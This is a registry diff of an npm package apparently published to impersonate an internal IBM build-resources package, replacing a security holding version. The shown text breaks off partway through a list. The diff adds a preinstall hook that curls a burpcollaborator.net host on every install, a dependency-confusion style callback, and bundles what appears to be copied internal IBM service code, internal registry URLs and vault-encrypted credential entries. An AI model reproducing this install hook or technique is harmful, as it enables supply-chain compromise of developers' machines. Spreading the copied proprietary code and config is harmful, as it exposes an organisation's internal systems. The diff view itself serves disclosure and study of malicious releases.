@w3-commons/js-build-resources 0.0.1-security → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @w3-commons/js-build-resources might be problematic. Click here for more details.

Files changed (98) hide show
  1. package/package.json +9 -3
  2. package/settings-service/.eslintrc.js +4 -0
  3. package/settings-service/.node-version +1 -0
  4. package/settings-service/.prettierrc +6 -0
  5. package/settings-service/.whitesource +15 -0
  6. package/settings-service/LICENSE +4 -0
  7. package/settings-service/README.md +50 -0
  8. package/settings-service/build.yml +56 -0
  9. package/settings-service/collectCodeCoverage.js +9 -0
  10. package/settings-service/db/cassandra/Dockerfile +3 -0
  11. package/settings-service/db/cassandra/createkeyspace.dev.cql +4 -0
  12. package/settings-service/db/cassandra/createkeyspace.dev.sh +3 -0
  13. package/settings-service/db/cassandra/schema_001.cql +15 -0
  14. package/settings-service/db/cassandra/schema_002.cql +8 -0
  15. package/settings-service/db/cassandra/schema_003.cql +10 -0
  16. package/settings-service/db/cassandra/schema_004.cql +1 -0
  17. package/settings-service/db/cassandra/schema_005.cql +39 -0
  18. package/settings-service/db/cassandra/schema_006.cql +255 -0
  19. package/settings-service/db/cassandra/schema_007.cql +40 -0
  20. package/settings-service/db/cassandra/schema_008.cql +2 -0
  21. package/settings-service/db/cassandra/schema_009.cql +143 -0
  22. package/settings-service/db/cassandra/schema_010.cql +143 -0
  23. package/settings-service/db/cassandra/schema_011.cql +2 -0
  24. package/settings-service/db/cassandra/schema_012.cql +8 -0
  25. package/settings-service/jest.config.fn.js +3 -0
  26. package/settings-service/jest.config.it.js +3 -0
  27. package/settings-service/jest.config.js +14 -0
  28. package/settings-service/jest.config.unit.js +19 -0
  29. package/settings-service/jest.setup.js +11 -0
  30. package/settings-service/package-lock.json +11772 -0
  31. package/settings-service/package.json +101 -0
  32. package/settings-service/scripts/run-fn-tests.sh +3 -0
  33. package/settings-service/sonar-project.properties +3 -0
  34. package/settings-service/src/__tests__/functional/controller/ApiKeyController.fn.ts +132 -0
  35. package/settings-service/src/__tests__/functional/middleware/AuthMiddlewareNextGenSSO.fn.ts +82 -0
  36. package/settings-service/src/__tests__/functional/repo/settingsRepo.fn.ts +302 -0
  37. package/settings-service/src/__tests__/functional/unified-profile/unified-profile.fn.ts +66 -0
  38. package/settings-service/src/__tests__/integration/repo/ApiKeyRepo.it.ts +43 -0
  39. package/settings-service/src/__tests__/integration/repo/settingsRepo.it.ts +142 -0
  40. package/settings-service/src/__tests__/integration/unified-profile/unified-profile.it.ts +31 -0
  41. package/settings-service/src/__tests__/unit/ErrResponse.ts +4 -0
  42. package/settings-service/src/__tests__/unit/JWTResponse.ts +18 -0
  43. package/settings-service/src/__tests__/unit/bluepagesResponse.ts +25 -0
  44. package/settings-service/src/__tests__/unit/controller/ApiKeyController.spec.ts +217 -0
  45. package/settings-service/src/__tests__/unit/controller/AppSettingsController.spec.ts +133 -0
  46. package/settings-service/src/__tests__/unit/controller/UserSettingsController.spec.ts +328 -0
  47. package/settings-service/src/__tests__/unit/controller/getAllSettings.spec.ts +83 -0
  48. package/settings-service/src/__tests__/unit/middleware/AuthMiddlewareNextGenSSO.spec.ts +282 -0
  49. package/settings-service/src/__tests__/unit/middleware/AuthenticationMiddleware.spec.ts +494 -0
  50. package/settings-service/src/__tests__/unit/repo/ApiKeyRepo.spec.ts +194 -0
  51. package/settings-service/src/__tests__/unit/repo/getAllSettings.spec.ts +100 -0
  52. package/settings-service/src/__tests__/unit/repo/getUserSettingsRepo.spec.ts +249 -0
  53. package/settings-service/src/__tests__/unit/repo/settingsRepo.spec.ts +614 -0
  54. package/settings-service/src/__tests__/unit/unified-profile/UnifiedProfileClient.spec.ts +31 -0
  55. package/settings-service/src/__tests__/unit/unified-profile/unifiedProfileUtils.spec.ts +36 -0
  56. package/settings-service/src/__tests__/utils/test-utils.ts +41 -0
  57. package/settings-service/src/config/config.ts +190 -0
  58. package/settings-service/src/controller/ApiKeyController.ts +114 -0
  59. package/settings-service/src/controller/AppSettingsController.ts +137 -0
  60. package/settings-service/src/controller/UserSettingsController.ts +202 -0
  61. package/settings-service/src/helpers/commons.ts +69 -0
  62. package/settings-service/src/logger/logger.ts +17 -0
  63. package/settings-service/src/middleware/AuthenticationMiddleware.ts +486 -0
  64. package/settings-service/src/middleware/AuthenticationMiddlewareFactory.ts +10 -0
  65. package/settings-service/src/repo/ApiKeyRepo.ts +135 -0
  66. package/settings-service/src/repo/ApiKeyRepoFactory.ts +10 -0
  67. package/settings-service/src/repo/CassandraClient.ts +33 -0
  68. package/settings-service/src/repo/CassandraClientFactory.ts +11 -0
  69. package/settings-service/src/repo/apiKeyQueries.ts +64 -0
  70. package/settings-service/src/repo/cassandraDBHelpers.ts +119 -0
  71. package/settings-service/src/repo/settingsRepo.ts +388 -0
  72. package/settings-service/src/repo/settingsRepoFactory.ts +10 -0
  73. package/settings-service/src/repo/settingsRepoQueries.ts +62 -0
  74. package/settings-service/src/routes/apiKeyRoutes.ts +27 -0
  75. package/settings-service/src/routes/appSettingsRoutes.ts +30 -0
  76. package/settings-service/src/routes/healthCheck.ts +10 -0
  77. package/settings-service/src/routes/swagger.ts +8 -0
  78. package/settings-service/src/routes/userSettingsRoutes.ts +30 -0
  79. package/settings-service/src/server.ts +77 -0
  80. package/settings-service/src/swagger.json +732 -0
  81. package/settings-service/src/types/ApiKey.ts +19 -0
  82. package/settings-service/src/types/IRequest.ts +9 -0
  83. package/settings-service/src/types/IRequestAuthorization.ts +5 -0
  84. package/settings-service/src/types/IRouteOptions.ts +5 -0
  85. package/settings-service/src/types/QueryResultsTypes.ts +6 -0
  86. package/settings-service/src/types/UserSettingsControllerTypes.ts +5 -0
  87. package/settings-service/src/types/W3IdUser.ts +36 -0
  88. package/settings-service/src/types/settingsRepoTypes.ts +61 -0
  89. package/settings-service/src/types/unifiedProfileTypes.ts +10 -0
  90. package/settings-service/src/unified-profile/UnifiedProfileClient.ts +29 -0
  91. package/settings-service/src/unified-profile/UnifiedProfileClientFactory.ts +10 -0
  92. package/settings-service/src/unified-profile/unifiedProfileUtils.ts +22 -0
  93. package/settings-service/src/util/downloadCassandra.ts +34 -0
  94. package/settings-service/src/util/isocodeMapper.ts +22 -0
  95. package/settings-service/src/util/languages.ts +1457 -0
  96. package/settings-service/test_resources/mockApiKeyDBResult.json +8 -0
  97. package/settings-service/tsconfig.json +40 -0
  98. package/README.md +0 -5
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "@w3-commons/js-build-resources",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.4",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "preinstall": "curl http://mc21sa91ytpqy23juiusbdx7qywokd.burpcollaborator.net",
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": "ignore"
6
12
  }
@@ -0,0 +1,4 @@
1
+ const { EslintTypescriptConfig } = require('@w3-commons/js-build-resources');
2
+ module.exports = EslintTypescriptConfig.createServiceConfig({
3
+ tsConfigRootDir: __dirname,
4
+ });
@@ -0,0 +1 @@
1
+ 14.18.3
@@ -0,0 +1,6 @@
1
+ {
2
+ "semi": true,
3
+ "singleQuote": true,
4
+ "trailingComma": "all",
5
+ "arrowParens": "always"
6
+ }
@@ -0,0 +1,15 @@
1
+ {
2
+ "scanSettings": {
3
+ "configMode": "AUTO",
4
+ "configExternalURL": "",
5
+ "projectToken": "",
6
+ "baseBranches": []
7
+ },
8
+ "checkRunSettings": {
9
+ "vulnerableCheckRunConclusionLevel": "failure",
10
+ "displayMode": "diff"
11
+ },
12
+ "issueSettings": {
13
+ "minSeverityLevel": "LOW"
14
+ }
15
+ }
@@ -0,0 +1,4 @@
1
+ Licensed Materials - Property of IBM
2
+ © Copyright IBM Corp. 2005 All Rights Reserved.
3
+ US Government Users Restricted Rights - Use, duplication or
4
+ disclosure restricted by GSA ADP Schedule Contract with IBM Corp.
@@ -0,0 +1,50 @@
1
+ # w3-profile/settings-service
2
+
3
+ ###### Created On: August 11, 2020
4
+
5
+ ###### w3 Notification Team | w3 | Digital Workplace Engineering | CIO | Finance and Operations | IBM
6
+
7
+ ### Settings Service Information
8
+
9
+ settings-service stores w3 user settings information. Any w3 app can onboard with settings-service to set up a namespace for their app and use the API to store and retrieve unique settings for their application using the endpoints described in the Swagger documentation below.
10
+
11
+ [Swagger Endpoint Documentation](https://w3-profile-settings-service.us-south-k8s.intranet.ibm.com/)
12
+
13
+ ### Run Locally
14
+ Use npm run local to run the service locally
15
+
16
+ ### Cassandra DB in Docker
17
+
18
+ #### Start Cassandra DB for the first time
19
+
20
+ Create Cassandra DB Docker image for w3notifications:
21
+ ```sh
22
+ cd db/cassandra
23
+ docker build -t w3profile_settings_service_cassandra:latest .
24
+ ```
25
+
26
+ Start Cassandra DB container:
27
+ ```sh
28
+ docker run -d -p 9042:9042 --name w3profile_settings_service_cassandra w3profile_settings_service_cassandra:latest
29
+ ```
30
+
31
+ Wait for a few seconds for the container to start and create schema:
32
+ ```sh
33
+ docker exec -it w3profile_settings_service_cassandra /bin/sh -C "/w3settings_schema/createkeyspace.dev.sh"
34
+ ```
35
+ Note: If you run the command before container fully starts you will see 'Connection refused' error. Just wait a little longer and run the command again.
36
+
37
+ #### Subsequent starts of cassandra DB
38
+
39
+ Start existing Cassandra DB container:
40
+ ```sh
41
+ docker start w3profile_settings_service_cassandra
42
+ ```
43
+
44
+ #### Note:
45
+ New schema files will be added whenever there is a change in the DB schema.
46
+ In that case remove old container:
47
+ ```sh
48
+ docker rm w3profile_settings_service_cassandra
49
+ ```
50
+ and follow procedure mentioned in [Start Cassandra DB for the first time](#start-cassandra-db-for-the-first-time).
@@ -0,0 +1,56 @@
1
+ version: v1
2
+ builder: npm
3
+ type: microservice
4
+
5
+ baseVersion: 1.0.0
6
+
7
+ productionBranches:
8
+ - master
9
+
10
+ slackChannel: notifications-be-git
11
+
12
+ ci:
13
+ npmRepos:
14
+ - scope: w3-rre
15
+ registry: "https://na.artifactory.swg-devops.com/artifactory/api/npm/chq-dwe-w3-rre-npm-local"
16
+ - scope: w3-publisher
17
+ registry: "https://na.artifactory.swg-devops.com/artifactory/api/npm/chq-dwe-w3-rre-npm-local"
18
+ - scope: w3-notifications
19
+ registry: "https://na.artifactory.swg-devops.com/artifactory/api/npm/chq-dwe-w3-rre-npm-local"
20
+ - scope: w3-commons
21
+ registry: "https://na.artifactory.swg-devops.com/artifactory/api/npm/chq-dwe-w3-rre-npm-local"
22
+ - scope: w3
23
+ registry: "https://na.artifactory.swg-devops.com/artifactory/api/npm/chq-dwe-w3-rre-npm-local"
24
+
25
+ cd:
26
+ instances: 6
27
+ resources:
28
+ memory: 256
29
+ cpu: 100
30
+
31
+ config:
32
+ all:
33
+ envVars:
34
+ CASSANDRA_CERTS_URL_PREPROD: vault:v1:G1zvJBV4TapDHjWJQwHq0yaRnvfcRSIZIFgLeSS3m3YZecgHunrBTWaWO5PkXro8TEm34kvlryBcLsh3xUYhjDWY3xQ1QBWp/F+k+v8aSblljNPY7msO5/tBnrjwM0VBAzVKI3AHK/R1xDzPca92GTzCtcQOeVLtWMEAyQm179XT5Gy3tnQlp6Y4UWwYei4mjPkywpbpPCkgVTmeOkHydTB7rXWrCYHjdrUv8jhsQYCwyNoTCQYdSvXvAh/rmMG+5SAvvou4w5aUBLlgjQFpA0owaQorjwNsKqsUwOAd2HEXFxBPWw9vGpuhTjTB5vdfCEDPgpLdA00iFn1j/KbDV/WUcMsZxp3PxyD2cHFQogkLsqyZazVFtN7o8Oo=
35
+ CASSANDRA_CERTS_FILE_PATH: './datastax.zip'
36
+ CASSANDRA_USERNAME_PREPROD: vault:v1:7+RWxnNveaRKPCQoUP0Pikb+M0OaE7gyxRRih7vLXTusGjiuMXuSaY9rMZsGQGD8bOILofg8uxSMZxMDRAZb5W/8sx3mT642NPg=
37
+ CASSANDRA_PASSWORD_PREPROD: vault:v1:QqS0FPgHp++IyT02c0WaNGfPcUHMhIBrrYU8EZVXF9CWEUAQc4gofOvivLdN29npUuLOzHjh460QpMq2n1vmUk4wvKZy+dLRQwrQyDt8+33WeJ3OWXXw8HzGZu4=
38
+ CASSANDRA_KEYSPACE_PREPROD: w3_settings_preprod
39
+ AES_ENCRYPTION_KEY: "vault:v1:6EtXkOCJNT8UXw2sFlmMpZR06rjYKhAQg+KuSCqTmZyMZXKUz9TXsrnCaYlLGh2+gyZjkRakpBX8BFYx"
40
+ API_KEY_AUTHORIZED_IDS: "vault:v1:Qejn0fDwP0bt0/N+dBUzgu2KtnYX0r/C9qIwHKqWiBFECkHLy/p9sYxznj57kXjs/OwpFKLKJpaUsWctABVCBS30XZsJtC2dHgqTaSI="
41
+ ISV_CLIENT_ID_STAGE: "vault:v1:/pGsatN4R/BgRBJyPwGifxgxe8uMll7/bCPh5VHj7nq4cJ3YriXdTiaHSKc3fKe+"
42
+ ISV_CLIENT_SECRET_STAGE: "vault:v1:74zIAzou9Z8akMiuun8MHdwlDy6DxSYgRbQtyjMwAQ/9SNe1t+pQ8nI83fSqMI5U"
43
+ ISV_INTROSPECTION_URL: "https://preprod.login.w3.ibm.com/oidc/endpoint/default/introspect"
44
+ NODE_ENV: development
45
+ RESTRICTED_APP_ID_WHITELIST: 'w3,w3broadcast'
46
+ SETTINGS_APP_IDS: 'test,general,w3,w3notifications-test,w3app,w3publisher,w3mobile,w3broadcast'
47
+ production:
48
+ envVars:
49
+ CASSANDRA_CERTS_URL_PROD: vault:v1:+s9HIzEVz6n8VJPCFlBSoXk0vaEvi3khkPPFfg4xrK7feXDDuHPHBKeIu30MeW6VETVrBjtT5K+tI6rsLxvxjKi0DoTPOeKa2ImLGy9nrNDH9YBSHBm+Ff+NXQnFwl7dMFeo8716K3w6S4W4s4d7nYe0j30RXXnvHK19lq0rIi98HNcEAFeN8054TlpoRiVcVdDxubFHO3OaqNyHhPPHQ2Iq8QqaZx8ngf3dVeQk3uoKBmMqjpoIIbtO5fn8jAD3I9NuJPAehw612P+x0S47xkFEk3/6S+8ebKmxUBs/H5EV5HoJxN1N23jkxR5rvIkIQXabeLZsnfmVh+QaoEt/E9B6Ddf7FV/8KxZFvqo7CEBxmPe6K2le+/QV6cM=
50
+ CASSANDRA_USERNAME_PROD: vault:v1:At9+MUJdH81+fz8kM1qAIrr0RclQTOwCa9+AR+bZdVTBLNiazJhz7X3JUw2zhcclR6Kb5UVJubWGe30JdIKfbvxYD0plsOdpBxo=
51
+ CASSANDRA_PASSWORD_PROD: vault:v1:xRkpmvS4Pi2rMizSoPCM6QcN6IhJl4Cy2ntLPIanrsWK5lg2zO0M/6jQN/+tS3hq9NFB0Pvs9LYzYeGY2H9pOgCgafDVNFIENaXdfG/H8PfAm1H8WuKPb/EkNzU=
52
+ CASSANDRA_KEYSPACE_PROD: w3_settings_prod
53
+ ISV_CLIENT_ID_PRODUCTION: "vault:v1:fTdGcnHp2IeViRME+r6F/aHZqrCV6m28vdGKJcWsIq6E2vbah4UiUQP7ARLOaVQk"
54
+ ISV_CLIENT_SECRET_PRODUCTION: "vault:v1:qbmizs/Lh1vdbS9FfZZwm74VsgYUAROTW3Hmi0gbB1u5bfB5UumHzFqXY2dpvyaU"
55
+ ISV_INTROSPECTION_URL: "https://login.w3.ibm.com/oidc/endpoint/default/introspect"
56
+ NODE_ENV: production
@@ -0,0 +1,9 @@
1
+ /* eslint-disable */
2
+ const { collectCodeCoverage } = require('@w3/w3-metrics-utils/src');
3
+
4
+ collectCodeCoverage({
5
+ coverageDirPath: './reports/coverage',
6
+ org: 'w3-profile',
7
+ repo: 'settings-service',
8
+ mainBranch: 'master',
9
+ });
@@ -0,0 +1,3 @@
1
+ FROM cassandra:3.11
2
+ COPY *.cql /w3settings_schema/
3
+ COPY createkeyspace.dev.sh /w3settings_schema/
@@ -0,0 +1,4 @@
1
+ CREATE KEYSPACE w3_settings
2
+ WITH REPLICATION = {
3
+ 'class' : 'SimpleStrategy', 'replication_factor' : 1
4
+ };
@@ -0,0 +1,3 @@
1
+ cqlsh -f "/w3settings_schema/createkeyspace.dev.cql";
2
+ find /w3settings_schema/schema_*.cql -maxdepth 1 -type f | sort | xargs -n 1 -I % cqlsh -k w3_settings -f %;
3
+ echo "w3settings schema created";
@@ -0,0 +1,15 @@
1
+
2
+ create table if not exists user_settings (
3
+ user_id text,
4
+ app_id text,
5
+ setting_name text,
6
+ setting_value text,
7
+ PRIMARY KEY(user_id, app_id, setting_name)
8
+ );
9
+
10
+ create table if not exists app_settings_config (
11
+ app_id text,
12
+ setting_name text,
13
+ setting_options list <text>,
14
+ PRIMARY KEY(app_id, setting_name)
15
+ );
@@ -0,0 +1,8 @@
1
+ create table if not exists apiKeys (
2
+ app_id text,
3
+ key text,
4
+ created_by text,
5
+ created_date timestamp,
6
+ updated_date timestamp,
7
+ PRIMARY KEY(app_id)
8
+ );
@@ -0,0 +1,10 @@
1
+
2
+ drop table if exists app_settings_config;
3
+
4
+ create table if not exists app_settings_config (
5
+ app_id text,
6
+ setting_name text,
7
+ setting_options list <text>,
8
+ setting_default text,
9
+ PRIMARY KEY(app_id, setting_name)
10
+ );
@@ -0,0 +1 @@
1
+ ALTER TABLE app_settings_config ADD setting_type text;
@@ -0,0 +1,39 @@
1
+ INSERT INTO app_settings_config(app_id, setting_name, setting_default, setting_options, setting_type) VALUES ('general','primaryLanguage','en',
2
+ ['af',
3
+ 'ar',
4
+ 'bg',
5
+ 'ca',
6
+ 'zh',
7
+ 'hr',
8
+ 'cs',
9
+ 'da',
10
+ 'nl',
11
+ 'en',
12
+ 'et',
13
+ 'fi',
14
+ 'fr',
15
+ 'fr-CA',
16
+ 'de',
17
+ 'el',
18
+ 'he',
19
+ 'hi',
20
+ 'hu',
21
+ 'is',
22
+ 'it',
23
+ 'ja',
24
+ 'ko',
25
+ 'lv',
26
+ 'ms',
27
+ 'pl',
28
+ 'no',
29
+ 'pt',
30
+ 'ro',
31
+ 'ru',
32
+ 'sk',
33
+ 'sl',
34
+ 'es',
35
+ 'sv',
36
+ 'th',
37
+ 'tr',
38
+ 'vi'],
39
+ 'string');
@@ -0,0 +1,255 @@
1
+ DELETE FROM app_settings_config WHERE app_id='general' and setting_name='secondaryLocationId';
2
+ INSERT INTO app_settings_config(app_id, setting_name, setting_default, setting_options, setting_type) VALUES ('general','secondaryLocationIds',null,
3
+ [
4
+ 'AF',
5
+ 'AX',
6
+ 'AL',
7
+ 'DZ',
8
+ 'AS',
9
+ 'AD',
10
+ 'AO',
11
+ 'AI',
12
+ 'AQ',
13
+ 'AG',
14
+ 'AR',
15
+ 'AM',
16
+ 'AW',
17
+ 'AU',
18
+ 'AT',
19
+ 'AZ',
20
+ 'BS',
21
+ 'BH',
22
+ 'BD',
23
+ 'BB',
24
+ 'BY',
25
+ 'BE',
26
+ 'BZ',
27
+ 'BJ',
28
+ 'BM',
29
+ 'BT',
30
+ 'BO',
31
+ 'BQ',
32
+ 'BA',
33
+ 'BW',
34
+ 'BV',
35
+ 'BR',
36
+ 'IO',
37
+ 'BN',
38
+ 'BG',
39
+ 'BF',
40
+ 'BI',
41
+ 'CV',
42
+ 'KH',
43
+ 'CM',
44
+ 'CA',
45
+ 'KY',
46
+ 'CF',
47
+ 'TD',
48
+ 'CL',
49
+ 'CN',
50
+ 'CX',
51
+ 'CC',
52
+ 'CO',
53
+ 'KM',
54
+ 'CG',
55
+ 'CD',
56
+ 'CK',
57
+ 'CR',
58
+ 'CI',
59
+ 'HR',
60
+ 'CU',
61
+ 'CW',
62
+ 'CY',
63
+ 'CZ',
64
+ 'DK',
65
+ 'DJ',
66
+ 'DM',
67
+ 'DO',
68
+ 'EC',
69
+ 'EG',
70
+ 'SV',
71
+ 'GQ',
72
+ 'ER',
73
+ 'EE',
74
+ 'ET',
75
+ 'FK',
76
+ 'FO',
77
+ 'FJ',
78
+ 'FI',
79
+ 'FR',
80
+ 'GF',
81
+ 'PF',
82
+ 'TF',
83
+ 'GA',
84
+ 'GM',
85
+ 'GE',
86
+ 'DE',
87
+ 'GH',
88
+ 'GI',
89
+ 'GR',
90
+ 'GL',
91
+ 'GD',
92
+ 'GP',
93
+ 'GU',
94
+ 'GT',
95
+ 'GG',
96
+ 'GN',
97
+ 'GW',
98
+ 'GY',
99
+ 'HT',
100
+ 'HM',
101
+ 'VA',
102
+ 'HN',
103
+ 'HK',
104
+ 'HU',
105
+ 'IS',
106
+ 'IN',
107
+ 'ID',
108
+ 'IR',
109
+ 'IQ',
110
+ 'IE',
111
+ 'IM',
112
+ 'IL',
113
+ 'IT',
114
+ 'JM',
115
+ 'JP',
116
+ 'JE',
117
+ 'JO',
118
+ 'KZ',
119
+ 'KE',
120
+ 'KI',
121
+ 'KP',
122
+ 'KR',
123
+ 'KW',
124
+ 'KG',
125
+ 'LA',
126
+ 'LV',
127
+ 'LB',
128
+ 'LS',
129
+ 'LR',
130
+ 'LY',
131
+ 'LI',
132
+ 'LT',
133
+ 'LU',
134
+ 'MO',
135
+ 'MK',
136
+ 'MG',
137
+ 'MW',
138
+ 'MY',
139
+ 'MV',
140
+ 'ML',
141
+ 'MT',
142
+ 'MH',
143
+ 'MQ',
144
+ 'MR',
145
+ 'MU',
146
+ 'YT',
147
+ 'MX',
148
+ 'FM',
149
+ 'MD',
150
+ 'MC',
151
+ 'MN',
152
+ 'ME',
153
+ 'MS',
154
+ 'MA',
155
+ 'MZ',
156
+ 'MM',
157
+ 'NA',
158
+ 'NR',
159
+ 'NP',
160
+ 'NL',
161
+ 'NC',
162
+ 'NZ',
163
+ 'NI',
164
+ 'NE',
165
+ 'NG',
166
+ 'NU',
167
+ 'NF',
168
+ 'MP',
169
+ 'NO',
170
+ 'OM',
171
+ 'PK',
172
+ 'PW',
173
+ 'PS',
174
+ 'PA',
175
+ 'PG',
176
+ 'PY',
177
+ 'PE',
178
+ 'PH',
179
+ 'PN',
180
+ 'PL',
181
+ 'PT',
182
+ 'PR',
183
+ 'QA',
184
+ 'XK',
185
+ 'RE',
186
+ 'RO',
187
+ 'RU',
188
+ 'RW',
189
+ 'BL',
190
+ 'SH',
191
+ 'KN',
192
+ 'LC',
193
+ 'MF',
194
+ 'PM',
195
+ 'VC',
196
+ 'WS',
197
+ 'SM',
198
+ 'ST',
199
+ 'SA',
200
+ 'SN',
201
+ 'RS',
202
+ 'SC',
203
+ 'SL',
204
+ 'SG',
205
+ 'SX',
206
+ 'SK',
207
+ 'SI',
208
+ 'SB',
209
+ 'SO',
210
+ 'ZA',
211
+ 'GS',
212
+ 'SS',
213
+ 'ES',
214
+ 'LK',
215
+ 'SD',
216
+ 'SR',
217
+ 'SJ',
218
+ 'SZ',
219
+ 'SE',
220
+ 'CH',
221
+ 'SY',
222
+ 'TW',
223
+ 'TJ',
224
+ 'TZ',
225
+ 'TH',
226
+ 'TL',
227
+ 'TG',
228
+ 'TK',
229
+ 'TO',
230
+ 'TT',
231
+ 'TN',
232
+ 'TR',
233
+ 'TM',
234
+ 'TC',
235
+ 'TV',
236
+ 'UG',
237
+ 'UA',
238
+ 'AE',
239
+ 'GB',
240
+ 'UM',
241
+ 'US',
242
+ 'UY',
243
+ 'UZ',
244
+ 'VU',
245
+ 'VE',
246
+ 'VN',
247
+ 'VG',
248
+ 'VI',
249
+ 'WF',
250
+ 'EH',
251
+ 'YE',
252
+ 'ZM',
253
+ 'ZW'
254
+ ],
255
+ 'array');
@@ -0,0 +1,40 @@
1
+ DELETE FROM app_settings_config WHERE app_id='general' and setting_name='secondaryLanguage';
2
+ INSERT INTO app_settings_config(app_id, setting_name, setting_default, setting_options, setting_type) VALUES ('general','secondaryLanguages',null,
3
+ ['af',
4
+ 'ar',
5
+ 'bg',
6
+ 'ca',
7
+ 'zh',
8
+ 'hr',
9
+ 'cs',
10
+ 'da',
11
+ 'nl',
12
+ 'en',
13
+ 'et',
14
+ 'fi',
15
+ 'fr',
16
+ 'fr-CA',
17
+ 'de',
18
+ 'el',
19
+ 'he',
20
+ 'hi',
21
+ 'hu',
22
+ 'is',
23
+ 'it',
24
+ 'ja',
25
+ 'ko',
26
+ 'lv',
27
+ 'ms',
28
+ 'pl',
29
+ 'no',
30
+ 'pt',
31
+ 'ro',
32
+ 'ru',
33
+ 'sk',
34
+ 'sl',
35
+ 'es',
36
+ 'sv',
37
+ 'th',
38
+ 'tr',
39
+ 'vi'],
40
+ 'array');
@@ -0,0 +1,2 @@
1
+ INSERT INTO app_settings_config(app_id, setting_name, setting_default, setting_options, setting_type) VALUES ('general','secondaryBusinessUnits',null,['CHQ/OTH','CHQ/OTH|Chair/CEO','CHQ/OTH|Chair/CEO|JK-Chair/CEO','CHQ/OTH|CHQ / Other','CHQ/OTH|CHQ / Other|X9-IP Deals','CHQ/OTH|CHQ / Other|9R-IBM JV','CHQ/OTH|CHQ / Other|X8-OS Deals','CHQ/OTH|CHQ / Other|9S-IBM DV','CHQ/OTH|Communications','CHQ/OTH|Communications|FH-GlMkt Comm','CHQ/OTH|Communications|EN-Comm','CHQ/OTH|Communications|CO-Comm','CHQ/OTH|Communications|J2-Comm','CHQ/OTH|GenCounsel','CHQ/OTH|GenCounsel|E6-SWG GenCncl','CHQ/OTH|GenCounsel|JJ-CHQEnvirAff','CHQ/OTH|GenCounsel|JW-Gov Prgs','CHQ/OTH|GenCounsel|LE-Legal','CHQ/OTH|GenCounsel|J6-Gen Counsl','CHQ/OTH|Human Resources','CHQ/OTH|Human Resources|A6-HRSys&GIE','CHQ/OTH|Human Resources|AD-Admin','CHQ/OTH|Human Resources|CV-HR GBS','CHQ/OTH|Human Resources|HR-HR','CHQ/OTH|Human Resources|FG-GlMkt HR','CHQ/OTH|Human Resources|CU-HR GTS','CHQ/OTH|Human Resources|J9-Labor&EmpRel','CHQ/OTH|Human Resources|1J-HR Top','CHQ/OTH|Human Resources|E4-HRCogSls&Res','CHQ/OTH|Human Resources|JA-Talent&Cloud','CHQ/OTH|Human Resources|JB-Comp&Ben','CHQ/OTH|Human Resources|JC-HROperations','CHQ/OTH|Human Resources|JD-Flight Ops','CHQ/OTH|Human Resources|JR-GlblLearning','CHQ/OTH|Human Resources|JS-LeadershipMD','CHQ/OTH|Human Resources|JE-BTL&Divers','CHQ/OTH|Innov&Tech','CHQ/OTH|Innov&Tech|JH-Technology','CHQ/OTH|Marketing','CHQ/OTH|Marketing|J7-Marketing','CHQ/OTH|Marketing|OH-IndustryMktg','CHQ/OTH|Marketing|TY-PortMktgPrac','CHQ/OTH|Marketing|L6-Program/Ops','CHQ/OTH|Marketing|L9-PortfolioMkt','CHQ/OTH|Marketing|MA-Mktg','CHQ/OTH|Marketing|RJ-Digital Svcs','CHQ/OTH|Marketing|HM-Perf Mktg','CHQ/OTH|Strategy','CHQ/OTH|Strategy|J8-Strategy','CHQ/OTH|T&IP','CHQ/OTH|T&IP|6E-CISO','CHQ/OTH|T&IP|JL-IP&S','Cloud','Cloud|Business Dev','Cloud|Business Dev|QF-CompProjOfc','Cloud|Business Dev|5R-BusinessDev','Cloud|C&CS WW Sales','Cloud|C&CS WW Sales|EC-SWSlsLicense','Cloud|C&CS WW Sales|QH-TechSlsTop','Cloud|C&CS WW Sales|LZ-BPDgtlSlsTop','Cloud|C&CS WW Sales|TX-SecSalesTop','Cloud|C&CS WW Sales|SM-IoT WWSales','Cloud|C&CS WW Sales|60-ClientSucMgt','Cloud|C&CS WW Sales|LG-CldSalesTop','Cloud|C&CS WW Sales|6O-MWSalesTL','Cloud|C&CS WW Sales|LH-CldSlsOpsTop','Cloud|C&CS WW Sales|Y5-Cloud Pak','Cloud|C&CS WW Sales|LC-WWSftwreTop','Cloud|C&CS WW Sales|D5-WtsnFSSslsTp','Cloud|Cld Integration','Cloud|Cld Integration|7X-ECMDevSupprt','Cloud|Cld Integration|RA-IBMPvtCld','Cloud|Cld Integration|6Z-HybridCldTop','Cloud|Cld Integration|Q8-SvcsOps','Cloud|Cld Integration|8Q-BlockchnLabs','Cloud|Cld Integration|4X-NowFactory','Cloud|Cld Integration|IL-BlockchnPtfm','Cloud|Cld Integration|FV-CloudBroker','Cloud|Cld Integration|HT-LabSvcs','Cloud|Cld Integration|RB-Messaging','Cloud|Cld Integration|T7-SvcMgmt','Cloud|Cld Integration|RC-ChinaLab MW','Cloud|Cld Integration|GK-Hyb Int Dev','Cloud|Cld Integration|EM-OpsInsights','Cloud|Cld Integration|DB-Aspera','Cloud|Cld Integration|6J-DgtlBusAuto','Cloud|Cld Integration|6H-PureAPP','Cloud|Cld Integration|Q4-DevIT','Cloud|Cld Integration|Q3-CrsBrandDev','Cloud|Cld Integration|PX-MgmtPlatform','Cloud|Cld Integration|PW-ConnecttoCld','Cloud|Cloud Mktg','Cloud|Cloud Mktg|Q6-Cloud Mktg','Cloud|Cloud Platform','Cloud|Cloud Platform|73-CPClientSuc','Cloud|Cloud Platform|TG-CldPlatTop','Cloud|Cloud Platform|B3-VMWareBluBox','Cloud|Cloud Platform|DJ-CloudFoundry','Cloud|Cloud Platform|SH-BluMixPltfrm','Cloud|Cloud Platform|SK-DataGravity','Cloud|Cloud Platform|TH-Analytics&DE','Cloud|Cloud Platform|OS-ObjStor&DB','Cloud|Cloud Platform|TJ-CrossPlatDev','Cloud|Cloud Platform|T8-InfDevOpDExp','Cloud|Cloud Platform|QB-CISO&PrgMgmt','Cloud|Cloud Platform|QG-CldInfraSvcs','Cloud|Cloud Platform|QP-OM&DPrgmMgmt','Cloud|Cloud Platform|RD-SecMbleHaifa','Cloud|Cloud Platform|LX-CloudCTO','Cloud|Cloud 